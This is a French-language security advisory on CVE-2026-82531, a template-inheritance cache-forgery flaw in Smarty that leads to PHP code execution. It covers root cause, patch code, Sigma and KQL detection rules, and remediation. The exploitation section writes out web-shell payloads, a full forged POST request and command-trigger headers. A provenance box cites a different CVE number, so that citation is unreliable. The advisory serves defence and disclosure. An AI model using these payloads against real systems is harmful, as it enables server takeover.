CVE-2026-82531 : falsification de cache d'héritage de modèle et exécution de code à distance dans smarty
SCORE DE MENACE HERMES & COMPROMISSION D'INFRASTRUCTURE WEB
Cible :Moteur de gabarit PHP Smarty — Gestionnaire de cache d'héritage (Cached::removeNoCacheHash) Le score CVSS v4.0 standard (9.2 Critique) ainsi que le score de menace Hermes (95 CRITIQUE) désignent la CVE-2026-82531 comme une vulnérabilité d'injection de code à fort impact sur les architectures applicatives web. Smarty est massivement intégré au sein des systèmes de gestion de contenu (CMS), des plateformes de commerce électronique (PrestaShop) et des wikis collaboratifs (Tiki Wiki). Lors de l'héritage de modèles via extends:, le rechargement des fichiers compilés depuis le disque omet de restaurer le nocache_hash racine, le laissant à l'état nul. Dans Cached::removeNoCacheHash(), cette valeur nulle crée une alternative vide dans l'expression régulière de découpage (realhash|). Toute entrée utilisateur réfléchie dans le modèle peut alors forger un marqueur /*%%SmartyNocache:%%*/ contenant du code PHP arbitraire, copié textuellement dans le cache et exécuté lors de l'inclusion suivante.
CVE-2026-82531: Smarty Template Inheritance Cache Forgery Remote Code ExecutionVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Smarty Template Engine documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique et matrice des logiciels affectés
Section intitulée « 1. Contexte technique et matrice des logiciels affectés »Smarty sépare la logique métier de la présentation au sein des applications d’entreprise, assurant la mise en cache et le sandboxing des templates.
| Paramètre | Spécification technique | Détails opérationnels |
|---|---|---|
| Identifiant CVE | CVE-2026-82531 | Référence de suivi international de la vulnérabilité |
| Plateforme logicielle | Moteur de gabarits Smarty | Moteur PHP de rendu de modèles pour applications d’entreprise |
| Composant vulnérable | src/Template/Cached.php | Méthode removeNoCacheHash() et compilateur d’héritage |
| Classe de faiblesse | CWE-94 / CWE-20 | Injection de code / empoisonnement de cache menant à une RCE |
| Vecteur d’attaque | Réseau (Port 80/443 TCP) | Données formulaires ou paramètres d’URL transmis aux gabarits |
| Versions correctives | Smarty v4.5.8 et v5.8.5 | Filtrage des empreintes nulles et neutralisation des balises |
[ Attaquant distant non authentifié ] | Envoi d'un paramètre HTTP forgé avec faux délimiteur : /*%%SmartyNocache:%%*/<?php system($_GET['c']);?>/*/%%SmartyNocache:%%*/ | v +------------------------------------------+ | Application Web (CMS / E-Commerce) | | Transmet la variable à Smarty assign() | +------------------------------------------+ | v +------------------------------------------+ | Moteur Smarty (Cached.php) | | Héritage extends: avec nocache_hash=null | L'expression régulière accepte le vide | +------------------------------------------+ | v +------------------------------------------+ | Fichier de cache compilé sur disque | | Le code PHP est copié tel quel | +------------------------------------------+ | v +------------------------------------------+ | Requête suivante : include(cache_file) | | Exécution de code PHP arbitraire ! | +------------------------------------------+2. Analyse de cause racine et anatomie du code vulnérable
Section intitulée « 2. Analyse de cause racine et anatomie du code vulnérable »La défaillance découle de la gestion de l’état du hachage de cache lors de l’héritage de modèles. Dans une structure utilisant {extends file="base.tpl"}, l’ensemble des fragments est regroupé dans une fonction unifiée (unifunc). Lors de la réinitialisation du processus sur un nouveau thread, l’objet de gabarit rechargé depuis le disque conserve un nocache_hash indéfini (null).
Dans Cached::removeNoCacheHash(), Smarty assemble une expression régulière censée reconnaître exclusivement les délimiteurs générés par le moteur :
// Code vulnérable dans Smarty/Template/Cached.php (Smarty < 4.5.8 et < 5.8.5)public function removeNoCacheHash(Template $tpl) { // Si nocache_hash est null, la liste des hachages contient une valeur vide $hashes = $tpl->getCompiled()->getNoCacheHashes(); // FAILLE : l'instruction implode génère une alternative vide "(hash1||hash2)" $regex = '/(?:\/\*%%SmartyNocache:(' . implode('|', $hashes) . ')%%\*\/)(.*?)(?:\/\*\/%%SmartyNocache:\1%%\*\/)/s';
// Le motif vide accepte n'importe quelle chaîne, incitant le moteur à interpréter // les marqueurs injectés par l'attaquant comme du contenu dynamique légitime ! preg_match_all($regex, $content, $matches); ...}Correction apportée dans le commit c0fdd4824 :
Section intitulée « Correction apportée dans le commit c0fdd4824 : »La mise à jour purge les entrées vides du tableau avant de construire la regex. Si aucun hachage valide ne subsiste, Smarty applique un échappement HTML intégral :
// Implémentation corrigée dans Smarty v4.5.8 et v5.8.5$hashes = array_filter($tpl->getCompiled()->getNoCacheHashes(), function($hash) { return !empty($hash);});if (empty($hashes)) { // Le tampon entier est traité comme du texte ordinaire neutralisant les balises PHP return htmlspecialchars($content, ENT_QUOTES);}3. Vecteurs d’attaque et militarisation opérationnelle
Section intitulée « 3. Vecteurs d’attaque et militarisation opérationnelle »Chaîne d’exploitation complète :
Section intitulée « Chaîne d’exploitation complète : »- Reconnaissance : l’attaquant repère une page publique utilisant l’héritage de gabarit et répercutant une valeur soumise par l’utilisateur (moteur de recherche, commentaire, formulaire de devis).
- Injection du délimiteur : soumission d’une requête HTTP véhiculant la fausse balise :
POST /recherche HTTP/1.1Host: cible-ecommerce.frContent-Type: application/x-www-form-urlencodedq=/*%%SmartyNocache:%%*/<?php passthru($_SERVER['HTTP_X_CMD']); ?>/*/%%SmartyNocache:%%*/
- Persistance dans le cache : smarty compile la page. En raison de l’alternative vide, la balise est recopiée sans neutralisation dans le fichier de cache PHP sur le serveur (
/var/www/html/templates_c/...cache.php). - Déclenchement du web shell : lors d’une seconde requête avec l’en-tête
X-Cmd: id; whoami, PHP inclut le fichier de cache et exécute la commande système avec les privilèges du processus web (www-data).
4. Triage forensique et signatures comportementales
Section intitulée « 4. Triage forensique et signatures comportementales »title: Injection de Faux Delimiteur Nocache Smartyid: d8920bc1-4471-4798-a3f1-74f88219ae02status: experimentaldescription: Détecte des requêtes web contenant des délimiteurs forgés SmartyNocache pour exploiter l'empoisonnement de cache.references: - https://github.com/smarty-php/smarty/security/advisories/GHSA-3w63-v7pm-cq9x - https://vulncheck.com/advisories/smarty-before-4.5.8-and-5-x-before-5.8.5-php-code-injection-via-extends-inheritance-cacheauthor: Équipe CTI Hermes Codexdate: 2026-10-07logsource: category: webserverdetection: selection_marker: cs-method: - 'POST' - 'GET' cs-uri-query|contains: - 'SmartyNocache' - '%%SmartyNocache:' selection_body: c-body|contains: - 'SmartyNocache' - '<?php' - 'passthru(' - 'system(' condition: selection_marker or selection_bodyfields: - c-ip - cs-method - cs-uri - cs-user-agentlevel: criticaltags: - attack.initial_access - attack.execution - attack.t1059.004// Azure Sentinel : Détection d'injection Smarty Nocache dans les journaux IIS / NginxW3CIISLog| where csMethod in ("POST", "GET")| where csUriQuery has "SmartyNocache" or csUriQuery has "%25%25SmartyNocache"| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, scStatus, csUserAgent| extend ClassificationMenace = "Falsification de cache Smarty (CVE-2026-82531)"| order by TimeGenerated desc#!/usr/bin/env bash# Recherche de balises PHP injectées dans les dossiers de cache compilé SmartyCACHE_DIR="/var/www/html/templates_c"
echo "[*] Recherche de code PHP injecté dans les fichiers de cache..."grep -rE "\/\*%%SmartyNocache:%%\*\/<\?php" "$CACHE_DIR" 2>/dev/null
echo "[*] Vérification des fichiers récemment créés dans le cache..."find "$CACHE_DIR" -type f -name "*.php" -mmin -120 -exec ls -l {} +5. Stratégie de remédiation et défense en profondeur
Section intitulée « 5. Stratégie de remédiation et défense en profondeur »- Mettre à jour les dépendances : mettre à jour le composant
smarty/smartydanscomposer.jsonvers^4.5.8ou^5.8.5:Fenêtre de terminal composer require "smarty/smarty:^5.8.5" --update-with-dependencies - Purger les répertoires de cache : supprimer impérativement l’intégralité des fichiers de modèles déjà compilés sur les serveurs web :
Fenêtre de terminal rm -rf /var/www/html/templates_c/*rm -rf /var/www/html/cache/* - Montage noexec : dans la mesure du possible, monter les partitions de cache avec l’option
noexecou déplacer le stockage du cache en dehors des chemins directement exécutables par PHP. - Filtrage par WAF : instaurer une règle sur le pare-feu applicatif bloquant toute requête contenant la signature
SmartyNocachedans les paramètres d’URL et le corps HTTP.